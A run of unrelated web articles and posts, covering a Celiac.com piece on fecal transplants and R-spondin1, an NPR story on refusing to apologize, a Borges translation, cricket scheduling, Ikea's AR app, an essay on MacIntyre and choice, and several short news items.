recent law approved the sale of beer at farmers' markets. Brewers weren't the only ones paying attention to Tuesday's announcement by Wynne. Ontario winemakers have been hoping the premier will soon allow wine to be sold alongside beer in grocery stores. Wynne said the province is still studying the possibilities, but wants to take more time to ensure it gets the move right.Celiac.com 02/02/2013 - The possible link between the makeup of gut bacteria and celiac has been a subject of past discussion in "More Evidence Links Gut Bacteria to Celiac Disease"[1] and other articles. Certain gut bacteria appear to enhance the immune response to gluten which may contribute to the onset of celiac disease. Vitamin D may reduce or eliminate this enhanced gluten response, and, therefore, vitamin D deficiency may be a significant factor contributing to the onset and development of celiac disease.[2] "Fecal transplantation", probiotics, and vitamin D have been advocated as possible therapy, treatment, and/or preventative measures against celiac disease. While vitamin D and probiotics may have potential as preventative measures against the onset of celiac disease early in life, the option of a fecal transplant provides the actual possibility of restoring tolerance to gluten or curing celiac disease later in life following long-term intestinal mucosal recovery on a gluten-free diet. In particular, fecal transplantation might make it possible to treat refractory celiac disease which does not respond to a gluten-free diet. Fecal transplant therapy for gastrointestinal disorders was pioneered by the world reknown Australian gastroenterologist, Prof. Thomas J. Borody, M.D., and is now used most successfully for treatment of persistant C. difficile infections of the gastrointestinal tract. Fecal transplantation involves the actual transfer of screened and filtered fecal material from a healthy donor into the gut of a patient, previously treated with antibiotics to clear gut bacteria, replacing the patient's own gut bacteria with a healthy mix of donor gut bacteria. The fecal material may be administered either orally or anally, via tubes. Selecting and screening a healthy donor, usually a spouse or close relative, as well as the "disgust" factor have limited use of this therapy in past years, but its high anecdotal success rate for treating stubborn C. difficile cases is finally bringing fecal transplantation into the mainsteam of routine gastrointestinal practice. The first clinical trial of fecal transplant therapy involving 43 C. difficile patients compared to conventional vancomycin antibiotic therapy has just been published finding fecal transplantation 3 times more effective than vancomycin in resolving C. difficile infections.[3,4] In the case of refractory celiac disease, a gluten-free diet does not stop the continued destruction of the intestinal mucosa. Research has not yet found the reason for refractory celiac disease, but "molecular mimicry" may be one possible cause. Celiac disease is an immune response to particular sequences of amino acids in gluten peptides called epitopes. In the absence of gluten, if there exist peptides from other sources with amino acid sequences matching or "mimicking" these gluten epitopes, the destructive immune response may continue to damage the mucosa. This is molecular mimicry in action. It is possible that some gut bacteria may express some of these epitopes on their surface, or, more likely, secrete peptides that contain these epitopes. These bacterial secretions might then coat the lining of the intestine sustaining the immune response. Secreted epitopes are the more likely cause of refractory celiac disease than bacteria surface epitopes because the immune system would eventually destroy the bacteria if bacteria surface epitopes were involved. But if the cause were the bacterial secretion epitopes, the bacteria itself would not be attacked and would continue to produce the secretions indefinitely perpetuating the mucosal damage. Fecal transplant therapy might cure refractory celiac disease by eliminating the gut bacteria producing the epitope mimicking secretions. How likely are such gut bacteria molecular mimics to exist? One study has investigated this for the case of multiple sclerosis and concluded there is a strong likelihood that "normally occurring gut bacterium" could produce epitopes that might cause MS through molecular mimicry.[7] One case of molcular mimicry between human peptides and wheat peptides has been found.[8] In the case of normal celiac disease (non-refractory celiac disease) treatable by a gluten-free diet, after some length of time on a gluten-free diet when the antibodies to gluten epitopes have cleared and when the intestinal mucosa has sufficiently healed, it may be possible to reprogram the immune system to tolerate gluten through fecal transplantation, along with vitamin D supplementation, providing a new healthy gut bacteria mix. One problem, however, is that in many cases the damage to the intestinal mucosa from celiac disease does not entirely heal.[9,10] This means that a long-term or permanent state of increased intestinal permeablity or "leaky gut" exists after beginning a gluten-free diet. "Leaky-gut" is by no means a benign condition. It puts a strain on the liver's detoxification abilities having to continually deal with toxins readily passing through the "leaky" intestinal mucosa. The toxins come from gut bacteria as well as from drugs and environmental chemicals including household products and cosmetics. Inhaled environmental toxins can be ingested when mucus expelled from the lungs is swallowed. The overload on the liver and its inability to keep up with detoxification can lead to long-term debilitating medical conditions such as wide-spread chronic pain, muscle pain and weakness, neuropathies, fatigue, dry mouth, frequent urination, swelling, allergies, and even to other autoimmune disorders[11] due to fat soluble toxins accumulating in adipose tissue where they remain causing inflammation and raising havoc indefinitely. The result is an unfavorable pro-inflammatory immune system environment which could impede any chance of restoring gluten tolerance. A promising treatment that could entirely heal the intestinal mucosa and "leaky gut" is a treatment based on a novel protein called R-spondin1. Prior to January 2009 a small San Francisco pharmaceutical company, Nuvelo, was developing an R-spondin1 therapy drug with the designation, NU206. NU206 had shown some great promise and success in lab studies. Dramatic mucosal healing was demonstrated in an experimental colitis model with mice.[12] Nuvelo's first targets were to use NU206 to heal and reduce intestinal mucosal damage from cancer chemotherapy and radiation therapy and to treat short-bowel syndrome. In December 2008 Nuvelo had actually announced results from Phase 1 clinical safety trials on 32 healthy male volunteers demonstrating administration of NU206 caused no adverse effects.[13] Unfortunately, Nuvelo, which also has other drugs in development, ran short of funding and, in January 2009, merged with a Colorado company, ARCA biopharma.[14] ARCA biopharma is dedicated to developing genetically-targeted therapies for cardiovascular diseases. [http://www.nuvelo.com/] It appears that all NU206 research and development and clinical trials were suspended with the merger. NU206, an extremely promising drug that might enable full intestinal mucosal healing and recovery in celiac disease now sits idly on a shelf with no indication clinical trials will ever resume. While there has been some very limited research on R-spondin1 in other medical applications by other scientists, there has been no new R-spondin1 research on intestinal healing since the merger. Any celiac disease interest group with access to funding for celiac disease research should consider contacting ARCA biopharma to see what efforts might be implemented to restart this very important R-spondin1 research. Sources: 1. More Evidence Links Gut Bacteria to Celiac Disease Roy S. Jamron Celiac.com 2008 Nov 6. https://www.celiac.com/articles/21685/ 2. Do Vitamin D Deficiency, Gut Bacteria, and Gluten Combine in Infancy to Cause Celiac Disease? Roy S. Jamron Celiac.com 2008 Jun 16. https://www.celiac.com/articles/21605/ 3. Fecal Transfer Proves Potent Clostridium difficile Treatment Jenni Laidman Medscape Medical News 2013 Jan 16. http://www.medscape.com/viewarticle/777772 4. Duodenal Infusion of Donor Feces for Recurrent Clostridium difficile Els van Nood, Anne Vrieze, Max Nieuwdorp, Susana Fuentes, Erwin G. Zoetendal, Willem M. de Vos, Caroline E. Visser, Ed J. Kuijper, Joep F.W.M. Bartelsman, Jan G.P. Tijssen, Peter Speelman, Marcel G.W. Dijkgraaf, Josbert J. Keller NEJM 2013 Jan 16; Published Online http://www.nejm.org/doi/full/10.1056/NEJMoa1205037 5. C difficile: Synthetic Stool Substitute Clears Infection Jenni Laidman Medscape Medical News 2013 Jan 10. http://www.medscape.com/viewarticle/777515 6. Stool substitute transplant therapy for the eradication of Clostridium difficile infection: "RePOOPulating" the gut Elaine O Petrof, Gregory B Gloor, Stephen J Vanner, Scott J Weese, David Carter, Michelle C Daigneault, Eric M Brown, Kathleen Schroeter and Emma Allen-Vercoe Microbiome 2013 Jan 9;1:3. http://www.microbiomejournal.com/content/1/1/3 7. Molecular mimicry revisited: gut bacteria and multiple sclerosis. Westall FC. J Clin Microbiol. 2006 Jun;44(6):2099-104. http://jcm.asm.org/content/44/6/2099.long 8. IgA cross-reactivity between a nuclear autoantigen and wheat proteins suggests molecular mimicry as a possible pathomechanism in celiac disease. Natter S, Granditsch G, Reichel GL, Baghestanian M, Valent P, Elfman L, Gronlund H, Kraft D, Valenta R. Eur J Immunol. 2001 Mar;31(3):918-28. http://www.ncbi.nlm.nih.gov/pubmed/11241297 9. Mucosal healing and mortality in coeliac disease. Lebwohl B, Granath F, Ekbom A, Montgomery SM, Murray JA, Rubio-Tapia A, Green PH, Ludvigsson JF. Aliment Pharmacol Ther. 2013 Feb;37(3):332-9. http://www.ncbi.nlm.nih.gov/pubmed/23190299 10. Complete recovery of intestinal mucosa occurs very rarely in adult coeliac patients despite adherence to gluten-free diet. Lanzini A, Lanzarotto F, Villanacci V, Mora A, Bertolazzi S, Turini D, Carella G, Malagoli A, Ferrante G, Cesana BM, Ricci C. Aliment Pharmacol Ther. 2009 Jun 15;29(12):1299-308. http://www.ncbi.nlm.nih.gov/pubmed/19302264 11. Chemical-induced allergy and autoimmunity Marty Bernardus Franciscus Wulferink [s.l.] : [s.n.], 2001 - Tekst. - Proefschrift Universiteit Utrecht http://igitur-archive.library.uu.nl/dissertations/1975053/inhoud.htm 12. R-spondin1, a novel intestinotrophic mitogen, ameliorates experimental colitis in mice. Zhao J, de Vera J, Narushima S, Beck EX, Palencia S, Shinkawa P, Kim KA, Liu Y, Levy MD, Berg DJ, Abo A, Funk WD. Gastroenterology. 2007 Apr;132(4):1331-43. http://www.ncbi.nlm.nih.gov/pubmed/17408649 13. Nuvelo Announces Positive Results from Phase 1 Clinical Trial of NU206 in Healthy Volunteers 2008 Dec 10. http://www.evaluatepharma.com/Universal/View.aspx?type=Story&id=172716 14. Biotechs Arca, Nuvelo complete reverse merger 2009 Jan 28. http://www.bizjournals.com/sanfrancisco/stories/2009/01/26/daily64.htmlMore thunderstorms are in the forecast for the metro area today after a strong storm prompted flash-flood warnings in Aurora, Centennial, and Parker yesterday. While one or two of these storms may contain small hail and high winds, they should remain fairly calm. Severe indices for the area show no significant threat for damaging wind, hail, or tornadoes. The current model runs (shown below) indicate that the strongest thunderstorms should take place around 3pm local time and should be located on the southern side of town. Small hail and high winds are possibilities with these storms. The worst case scenario today is similar to yesterday with small floods being a threat. We have a significant amount of atmospheric moisture moving into Colorado from the Gulf of Mexico as well as the Pacific. This should keep us in a pattern of daily thunderstorms for the upcoming week. AdvertisementsWhy Not Apologizing Makes You Feel Better Illustration by NPR To err is human. So is refusing to apologize for those errors. From toddlers and talk show hosts to preteens and presidents, we all know people who have done stupid, silly and evil things, then squared their jaws and told the world they've done nothing wrong. Parents, educators and even public relations flacks have talked at length about the value of coming clean, and there is abundant research on the psychological value of apologizing. But psychologists recently decided to take a new tack: If so many people don't like to do it, there must be psychological value in not apologizing, too. In a recent paper, researchers Tyler G. Okimoto, Michael Wenzel and Kyli Hedrick reported on what they've found happens in people's minds when they refuse to apologize. They find that parents who tell their kids that saying sorry will make them feel better have been telling kids the truth — but not the whole truth. "We do find that apologies do make apologizers feel better, but the interesting thing is that refusals to apologize also make people feel better and, in fact, in some cases it makes them feel better than an apology would have," Okimoto said in an interview. Okimoto surveyed 228 Americans and asked them to remember a time they had done something wrong. Most people remembered relatively trivial offenses, but some remembered serious offenses, including crimes such as theft. The researchers then asked the people whether they had apologized, or made a decision not to apologize even though they knew they were in the wrong. And they also divided the people at random and asked some to compose an email where they apologized for their actions, or compose an email refusing to apologize. In both cases, Okimoto said, refusing to apologize provided psychological benefits — which explains why people are so often reluctant to apologize. The same thing happened when people were asked to imagine doing something wrong, and then imagine apologizing or refusing to apologize. When you refuse to apologize, it actually makes you feel more empowered. That power and control seems to translate into greater feelings of self-worth. "When you refuse to apologize, it actually makes you feel more empowered," he said. "That power and control seems to translate into greater feelings of self-worth." Ironically, Okimoto said, people who refused to apologize ended up with boosted feelings of integrity. The researchers are not suggesting that refusing to apologize is a useful life strategy: Okimoto himself said he has little trouble apologizing. The interpersonal benefits of apologizing are huge, and an apology can renew bonds not only between people but also between countries. Okimoto believes the research, in fact, may provide a clue on how best to get people to apologize. Our conventional approach, especially with kids, is to force people to apologize. But if people are reluctant to apologize because apologies make them feel threatened, coercion is unlikely to help — that is, if a sincere apology is hoped for. Support and love, by contrast, may be a more effective way to counter the feelings of threat involved in an apology. The next time junior — or your partner — does something wrong, pass on the stare and try a hug.This is not a tango…but it is an homage to one of my favorite writers of all time, an Argentine, on what would be his 112th birthday. This poem was originally translated into English as In Praise of Darkness by Norman Thomas di Giovanni. This translation, as always, is mine. Ode to the Shadows by Jorge Luis Borges Old age (that is what others call it) can be our time of joy. The animal has died, or almost died. A man is left with his soul. I live among luminous, vague forms that are not yet darkness. Buenos Aires, whose poor outskirts used to tear up toward the incessant plains, has become Recoleta, Retiro, the hazy streets of el Once, and the precarious old houses that we still call the South. There were always too many things in my life; Democritus of Abdera tore out his eyes so he could think; time has been my Democritus. This half-light is slow and it does not hurt; its decline flows tamely and seems quite like eternity. My friends have no faces, women are just as they were years ago, the streetcorners could be different, books have no letters on their pages. All this should terrorize me, but it is a sweet pleasure, a return. Of the generations of texts on this earth I will have read only a few, those I keep reading in my memory, reading and transforming. From the South, the East, the West, the North, the paths that have brought me here converge at my secret center. These paths were echoes and steps, women, men, agonies, resurrections, days and nights, dreams and the spaces between, every last little instant of yesterday and all the yesterdays in the world, a strong Danish sword and a Persian moon, the deeds of the dead, shared love, words, Emerson and the snow and so many things. I can forget them now. I have arrived at my center, my algebra and my key, my mirror. Soon I will know who I am. Spanish original after the jump Elogio de la sombra La vejez (tal es el nombre que los otros le dan) puede ser el tiempo de nuestra dicha. El animal ha muerto o casi ha muerto. Quedan el hombre y su alma. Vivo entre formas luminosas y vagas que no son aún la tiniebla. Buenos Aires, que antes se desgarraba en arrabales hacia la llanura incesante, ha vuelto a ser la Recoleta, el Retiro, las borrosas calles del Once y las precarias casas viejas que aún llamamos el Sur. Siempre en mi vida fueron demasiadas las cosas; Demócrito de Abdera se arrancó los ojos para pensar; el tiempo ha sido mi Demócrito. Esta penumbra es lenta y no duele; fluye por un manso declive y se parece a la eternidad. Mis amigos no tienen cara, las mujeres son lo que fueron hace ya tantos años, las esquinas pueden ser otras, no hay letras en las páginas de los libros. Todo esto debería atemorizarme, pero es una dulzura, un regreso. De las generaciones de los textos que hay en la tierra sólo habré leído unos pocos, los que sigo leyendo en la memoria, leyendo y transformando. Del Sur, del Este, del Oeste, del Norte, convergen los caminos que me han traído a mi secreto centro. Esos caminos fueron ecos y pasos, mujeres, hombres, agonías, resurrecciones, días y noches, entresueños y sueños, cada ínfimo instante del ayer y de los ayeres del mundo, la firme espada del danés y la luna del persa, los actos de los muertos, el compartido amor, las palabras, Emerson y la nieve y tantas cosas. Ahora puedo olvidarlas. Llego a mi centro, a mi álgebra y mi clave, a mi espejo. Pronto sabré quién soy.A student with a mathematical-physics background could easily convince himself that he has superior mathematics abilities than typical economists and superior statistical and computational skills than most economists. He might go on to conclude that, as a consequence of his superior mathematical and computational abilities, he should be able to enter economics and start contributing quickly and easily. He might also anticipate that he could easily adapt established models or techniques in physics to study economic phenomena and impress the profession. If you are one of these people, let me try to disabuse you of these notions. Your mathematical abilities are actually not that much better than most economists (if they are better at all). You will have to spend a lot of time acclimating to the subject and the path to actually making contributions will be long and difficult. In all likelihood, there are very few (perhaps zero) off-the-shelf models or techniques in physics (or engineering, or chemistry, …) that will produce meaningful economic results. (more; HT Justin Wolfers) Yup! I often meet scientist types who talk about some problem they are working on, which turns out to be a social problem related to ones that social scientists have explored. But they won’t believe this unless you show them work that uses methods and concepts with which they are familiar. They just can’t believe there are useful methods and concepts that they don’t already know. GD Star Rating loading...My heart literally skipped when I opened the box. I want to say, I've had a terrible month. This was the third exchange where I had sent gifts out and got nothing in return but messages promising they hadn't forgotten, but nothing ever came from those messages. A week ago I was told some rather bad news about the cardiac trouble I have been having... it's been a nightmare. Then I get a notice that my photography rematch has mailed my gift. They seem awesome in the emails they have sent to me, so I figure I'll have something cool to look forward to. It arrived in two days. Literally, I had JUST checked the tracking and it said it was delivered--I hadn't expected it for a while because 2-day shipping is pricey... I pulled on my slippers and went as fast as I could to my apartment complex's mail boxes. And there it was! First, it was a HUGE box, and they paid $11 to get it to me fast! They had no idea about my health issues, and no reason to try and ship it fast other than they just wanted to, they just cared. I open it and see awesome green packing peanuts, and a piece of paper. I go for the paper first, and it's a note! "Hi there! So yeah, I understand you got shafted by several different exchanges. Not fair. Not fair in the least. Even your photography Santa fell short of expectations. Luckily for you, you ended up with a waycool rematch photo santa. And I got you a perfect new lens for your desire for night photography. Oh go ahead and open the package. What you have in your hands is a vintage Nikon 55ms f/1.2 lens. That's right, F one point two. The perfect vintage lens for night photography. And as an added bonus, this vintage lens has been adapted for modern camera gear with its very specific ultra-rate AI ring. So you can slap this bad boy onto your Nikon D5500 and start shooting away. Every photographer should have an awesome piece of prime glass in their arsenal. Here's your awesome piece of prime glass. All from your photo santa. All the best. /u/threedice" After that, I dug through the peanuts until I found another package, tore that open and... WOW! I am floored by this! I did indeed put it right onto my camera to figure it out, I am a newbie, but just so utterly thrilled! Thank you so much, threedice!Copyright by WPRI - All rights reserved WEST BRIDGEWATER, Mass. (WPRI) - Wild turkeys are becoming more of a nuisance in several communities as they increasingly harass and threaten residents. Police in West Bridgewater, Mass. posted a video on their Twitter page showing a flock of wild turkeys chasing down a police cruiser. Aggressive turkey's are a problem in town. State law doesn't allow the police or the ACO to remove them. Contact MSPCA 617-522-7400 for info pic.twitter.com/i42Zc3pXIo - Bridgewater Police (@BwtrPolice) October 15, 2017 Officials believe turkeys become more brazen when they become used to to humans, usually due to feeding. When the birds are no longer threatened by humans or pets, they will often react to them as they would a rival turkey, with a show of aggression. Experts say the best way to respond is to not back down or run away, rather to startle them with noise, movements, or even spraying them with water. Employees at an orthodontist's office in Cranston thought they were being robbed Monday when a turkey broke through a window and landed in their waiting room.The BCCI's preference for one-off T20s in a bilateral series could hurt South Africa © Getty Images The BCCI is yet to officially approve India's Future Tours Programme for the coming cycle, from 2014 to 2023, due to an issue over the number of T20s scheduled in bilateral series. The board is reluctant to play more than one T20 in a bilateral series. They had signed MoUs with all other boards over the number of bilateral series to be played over the next years on the sidelines of the ICC's annual conference in Melbourne, but the number of matches, especially T20s, for each series is far from being final. India are supposed to play 47 T20s during the next FTP cycle, starting with the tour to Australia in December 2014 and culminating with New Zealand's tour to India in January 2023. These 47 matches, excluding the ones during the World T20, are spread over 29 bilateral series. India's bilateral matches from Dec 2014 to Jan 2023 Australia: 16 Tests, 33 ODIs, 9 T20s England: 20 Tests, 22 ODIs, 4 T20s South Africa: 16 Tests, 20 ODIs, 8 T20s West Indies: 10 Tests, 15 ODIs, 4 T20s Pakistan: 12 Tests, 30 ODIs, 11 T20s Sri Lanka: 12 Tests, 20 ODIs, 6 T20s New Zealand: 10 Tests, 35 ODIs, 4 T20s Zimbabwe: 2 Tests, 9 ODIs, 1 T20 Bangladesh: 3 Tests, 6 ODIs Excluding ICC events and Asia Cup ODI and T20 numbers likely to change However, 13 of those 29 series have India playing at least two T20s. The BCCI seniors' wish to cut down on bilateral T20s might stem from a desire to maintain the appeal of the Indian Premier League. All the top players in India are seen in action for their respective franchises in at least 14 games per IPL season and a possible two to four additional games should the team make the playoffs. No one from the BCCI officialdom admits the fact as it is, though. Some of them stress on the fact that they don't want "Indian players to play too many T20s, thus resulting in ODIs being completely redundant". As a result, the BCCI will try and negotiate with seven of the 10 cricket boards for reducing the number of T20 fixtures. According to the existing FTP draft, every team barring England, Zimbabwe and Bangladesh are slated to play two T20s against India in a series at least once over the next eight years. If BCCI succeeds in its negotiations, South Africa and Pakistan will be the biggest losers. While India is supposed to play two T20s in each of its four bilateral series with South Africa during the FTP window, Pakistan are pitted against India in 11 T20s spread over five series. If the other boards cede to BCCI's request, then there could be a minor change to the number of ODIs to be played in the series. Pakistan's itinerary is likely to remain unchanged, since Pakistan cricketers don't feature in the IPL and the broadcasters are likely to put their foot down. A reduction in number of T20 games in an India series, especially at home, would result in significant loss of revenues for Cricket South Africa. The BCCI have traditionally been averse to playing T20 fixtures in bilateral series. Ever since India's maiden T20 international in South Africa in December 2006, the Indian team has played only 52 T20s and 28 of them have been spread over five World T20s. Besides finalising the FTP of the national side, the BCCI is also planning to formulate its own schedules for the India A and India Under-19 sides. The consensus among the top management of the BCCI has been that as far as possible, the junior and the A sides should tour major cricketing opposition in the months before the national team's tour to the country. The BCCI has already started implementing the theory with India A sides since last year. Fringe players toured South Africa A before India's curtailed tour to South Africa in December 2013. Similarly, India A is touring Australia at the moment, five months ahead of the senior side's four-Test series. The BCCI hierarchy wants the same policy extended to the Under-19 team in order to give more exposure to talented youngsters. Amol Karhadkar is a correspondent at ESPNcricinfo © ESPN Sports Media Ltd.Tim Cook said in a recent interview that he was so excited about augmented reality that he wanted ‘to yell out and scream.’ He named furniture-buying as an example of something that can be completely changed by the use of AR, and gave a specific shout-out to Ikea – a company also briefly referenced in the iOS 11 keynote. We’ve talked to Ikea, and they have 3D images of their furniture line. You’re talking about changing the whole experience of how you shop for, in this case, furniture and other objects that you can place around the home. The company has now told a Swedish site a little about its plans … NordVPN Ikea’s digital transformation manager Michael Valdsgaard told Digital.di that it was working on the first AR app of its kind – and that it was going all-in on the technology. This will be the first augmented reality app that allows you to make reliable buying decision […] When we launch new products, they will come first in the AR app. The plan is for customers to take photos of their own homes, and to use the app to position photo-realistic renders of Ikea products wherever they want them in the home. Customers would be able to see what a sofa would look like in a living-room, for example, placing it in the exact position desired. Valdsgaard says that Apple’s AR technology is so good that the positioning of products will be ‘millimeter precise,’ with sizes and lighting completely accurate. It’s expecting to have 5-600 products available at launch. The company will have a head-start on other companies and it’s been using photo-realistic
instruction (Russell’s point) can prove quite debilitating and unpredictable. The second example given is that the nature of the distribution of education is such that many of those with compelling political concerns will never be able to develop the habits of rational deliberation. The third example relates to what he calls, “pseudo-democratic babble and current prejudice”. He says that grassroots groups, with no way of ordering agendas, will allow themselves to be distracted and diverted by these things. He argues that very often the agendas that do emerge remain weak due to their lack of order and thus inability to channel energies into pursuit of a common good. This is the failure of grassroots politics. MacIntyre moves on to open his case in defense of a third political and personal option, a grassroots option between the extremes of tolerating too much and tolerating too little. He begins the discussion of this third way by recommending various ideas which, were all sides offered a more equal footing in terms of rational deliberation, no one should be allowed to entertain any longer. Examples of these ideas are as follows: Holocaust denial (bad history = bad politics), denial of well-founded scientific discoveries, such as the age of the earth (44 to 47 percent of Americans believe the world to be less than 10,000 years old), and denial of the rational principle of non-contradiction. Listing another example, MacIntyre makes the case that public insults, when published, should bring with them accountability for what is said. He says that by force of law, though depending on the situation, the parties concerned should be called to task and made to pursue rational deliberation on the subject. To fine-tune his point, MacIntyre discusses the more general question of censorship, noting how it was implemented by the Catholic Church and Soviet Russia as their large populations of peasants learned to read. He seems to be on the right track when he says that what these institutions set up was a very bad response to a very good question. He says that they set up a system that was aimed at creating an individual who would practice self-censorship through negative reinforcement. He says that the main problem with these sorts of systems is that they tend toward the creation of mindlessness and memorized responses when what really should be developed is critical thinking. As he notes, every good parent, every teacher, every successful person is a censor. He makes an excellent point: “The goods of reading are only achieved through having learned to select what to read, in what order to read it, and how to read it.” So not only do some things have more inherent meaning, as Schwartz suggests, but MacIntyre brings up yet another compelling point – that many of the ideals that shape American life and policy were drawn up under the assumption that these three academic criteria would be met. MacIntyre notes that political philosophers like Mill and Jefferson came out of a tradition that was perhaps too oppressive and too rigorous in its intolerance. In other words, they were responding to too many constraints by throwing off all constraints. What they failed to realize, as MacIntyre points out, was that the academic discrimination that they had learned in their early studies was fundamental to their sorting, filtering, and processing of information – that without learning these skills, people could be effectively crippled by too much information and misinformation. MacIntyre notes that we should look at the censors of the past and learn the right lessons, not the wrong ones. He asserts that there is an overabundance of useless and distracting information out there and that a type of loose censorship (carried over from education) is necessary to help us sift through all this. He says that there is also a type of censorship that is admirable because it notes that reading (or listening or viewing) certain things can be dangerous to one’s soul/human flourishing, but that by taking the intellectual risks associated with reading these texts (when prepared properly), we enter the arena where we can really begin to grow. MacIntyre’s proposition seems plausible as it would help individuals learn healthy constraints on information which would aid in choosing not only what to choose, but when to choose as well. Undoubtedly we will still need room to make mistakes and have negative experiences, for these are the ultimate teachers, but I think the overall point to be taken away is that a very specific type of education is necessary to help us approach decision-making in a healthy way. In order to achieve such a goal, we would definitely have to restructure certain policies, especially in education, but in other areas as well. Conclusion and Recommendations If we come to realize that we are in fact constrained to a certain extent by fate, much unneeded stress goes by the wayside. For in coming to realize who we actually are (personality, gifts, talents, abilities, and struggles) and the specific familial and social contexts of our lives, we begin to realize that we do not come into this world empty handed. We see that we actually come quite well-equipped (personal strengths) to interact with the contexts into which we are born, but that our culture, in the name of individual freedom and unlimited choice, attempts to rob us of these things in order to make consumers out of us. Both Schwartz and Gitlin lay out some interesting and compelling descriptions of the ways in which we filter or fail to filter the information of our age and come to make choices based on that information. They suggest that some styles of filtering are healthier than others. Schwartz in particular gives us an in-depth description of our psychological predispositions and the impact that the manipulation of these has on our decision-making processes. A wide-spread education that took all this into account would go a long way in reducing the anxiety fueled by ever-increasing choice and the psychological manipulation by companies attempting to sell us things. Corporations advocate unlimited freedom of choice because they are hedging their bets that we will choose their products or services, often at the expense of our personal well-being. As MacIntyre reminds us, there is nothing inherently good about unlimited options if we do not know which options and which choices will lead to more healthy and satisfying lives. We need to aim at becoming a society which educates its young on how to become effective decision makers. Such a society would necessarily have to spend much time helping its citizens create proper filtering techniques. Bibliography and Other Reading () Bagdikian, Ben. The New Media Monopoly. Beacon Press, 2004. Gitlin, Todd. Media Unlimited: How the Torrent of Images and Sounds Overwhelms Our Lives. Metropolitan Books, 2001. Gostin, L.O. & Gostin, K.G. “A Broader Liberty: J.S. Mill, Paternalism, and the Public’s Health” in Public Health, December 2008. LeBouf, R.A., Shafir, E. & Bayuk, J.B. “The Conflicting Choices of Alternating Selves” in Organizational Behavior and Human Decision Processes, August 2009. MacIntyre, Alasdair. Intolerance, Censorship, and Other Requirements for Rationality (lecture). University of Notre Dame, 2010. Meade, Michael. Fate and Destiny: The Two Agreements of the Soul. Greenfire Press, 2010. Roberts, Sam. Who We Are Now: The Changing Face of America in the 21st Century. Times Books, 2004.* Russell, Bertrand. The Will to Doubt. Philosophical Library, 1958. Schwartz, Barry. The Paradox of Choice: Why More is Less. Harper Perennial, 2004. –The Paradox of Choice: Why More is Less (lecture). TED Conference, 2007. Shirky, Clay. It’s Not Information Overload. It’s Filter Failure (lecture). Web 2.0 Exposition NY, 2008. [1] According to various health and well-being indices.Pedalling towards the start of stage five of the Tour de Pologne, Samuel Sánchez (BMC Racing Team) grins broadly when Cyclingnews asks if he might be joining fellow Spanish veterans Haimar Zubeldia (Trek-Segafredo) and Angel Vicioso (Katusha-Alpecin) in making 2017 his last season. Related Articles Sammy Sanchez extends with BMC Racing Vuelta a Espana: Sanchez confirmed as BMC's GC man after Mirador de Ezaro Vuelta a Espana: Samuel Sanchez forced to abandon after time trial crash Samuel Sanchez has surgery after solo Basque Tour crash BMC going into Vuelta a Espana without a clear GC leader Samuel Sanchez eyeing off Vuelta a Espana stage win "I don't know, yet," Sánchez, who will turn 40 next February, says. "I might continue, the team is very pleased with me and I'm very pleased with them. BMC Racing feels like a second home to me. Let's wait and see what happens in the Vuelta a España. I don't want to get obsessed about retirement." The first half of Sánchez's season was marked by a major crash just as he was sprinting towards what could well have been his first victory of the season. Having bolted off the front close to the summit of Mount Arrate in the Vuelta al País Vasco, less than 800 metres from the line, Sánchez looked close to winning. But a strange crash left him out of the running and with a huge number of scrapes and bruises all over his body. He also cut one of the tendons in his left hand, which needed surgery. Sánchez was almost equally unfortunate in the Vuelta a España last year, crashing badly on the highly technical finale of the last time trial in Calpe and being forced to abandon as a result. Rather than whether he retires or not, the former Olympic Road Race Champion and 2011 Tour de France king of the mountains says, "First I want to get through this race, see how I feel, and hit the top-end form. I've not raced for quite a while, it took me a long time to get over the Vuelta al País Vasco crash, and first I have to concentrate on the Vuelta a España and then we'll see." Sánchez, who turned pro in 2000 and who has been riding for BMC Racing since 2014, says that he's completely recovered from his crash in the Itzulia, but that his knee swelled up badly after Liège-Bastogne-Liège and needed further treatment. Pologne is his first race back since he finished the Route du Sud on June 18th, and "getting 10 days off the bike then was what really turned things around." His objectives in the Vuelta a España are as vague as taking it "day by day," but that's not a question of choice. "Looking at the way the route is designed this year, you can't say anything else. There are just too many random factors. It's a really complicated course with some kind of special challenge every single day." After that he will go on as far as Il Lombardia before ending his season. The one thing that is clear for the moment is that he will only sign for one more year at a time. "That's only logical when you're any older than 35."MOSCOW — When a container of radioactive waste exploded at the Mayak factory 60 years ago, in one of the worst accidents of the nuclear age, the episode was so shrouded in secrecy that even residents of nearby towns had little clue of the danger. That secrecy proved deadly. Among the estimated 272,000 people who were exposed was a newborn girl who withered and died from radiation sickness. Taisia A. Fomina, a friend of the family’s, recalled that the girl’s father, ignorant of the danger, welded a bed frame from irradiated metal recycled from the nuclear plant. The child was poisoned as she slept. Residents learned of the radiation risk only a year after the accident, said Ms. Fomina, now 84. “Some rumors went around town that something blew up at the factory, but we didn’t know what,” she added. “Of course, they didn’t tell us.” Now, another possible accident at Mayak, a plant at the heart of Russia’s nuclear program, and the paucity of information coming out about it, is again raising alarms.For theoretical neurobiologist and author Mark Changizi, “why” has always been more interesting than “how.” While many scientists focus on the mechanics of how we do what we do, his research aims to grasp the ultimate foundations underlying why we think, feel and see as we do. Guided by this philosophy, he has made important discoveries on why we see in color, why we see illusions, why we have forward-facing eyes, why letters are shaped as they are, why the brain is organized as it is, why animals have as many limbs and fingers as they do, and why the dictionary is organized as it is. His latest book, The Vision Revolution, is a trenchant and insightful investigation into why humans see and interact with the world as we do. His findings are challenging and often surprising, and his witty, engaging style is accessible to a broad range of readers. He was generous enough to spend a few minutes with me recently to discuss his book and other topics. NN: What originally led you to write a book about human vision in particular, instead of any of the other human evolutionary adaptive traits? MC: Indeed, I don’t consider myself solely a vision scientist. I call myself a theoretical neurobiologist, more generally, and I have had a number of non-vision research directions, including, for example, the shape and evolution of the brain, and why animals have as many limbs and digits as they do. Some of these research directions were central parts of my first book, The Brain from 25,000 Feet. I was led to a book on vision because that’s where my research led me, and so the question is, Why did I end up with quite a few research directions in vision? As a theoretical neurobiologist, I try to find interesting phenomena that I can wrap my head around, with the hope of putting forth and testing rigorous and general explanatory hypotheses. That’s not easy, but there are a number of reasons why it’s easier for vision. First, relative to other senses and/or behaviors, the amount of data we possess for vision is huge. There’s a century-sized pile of data, much of it not well explained, much less in a unifying manner. Second, vision is theoretically approachable. You have a visual field, you see objects, and so on. We know how to at least begin thinking about the phenomenology. It’s more difficult for audition, and practically impossible for olfaction, where we have little idea how to even describe our perceptions. …forget about explaining anything! And, third, for vision we have the best understanding of the underlying mechanisms. My point is that, as a theorist struggles for phenomena he or she can crack, vision appears as a large attractive target compared with many other aspects of brain and 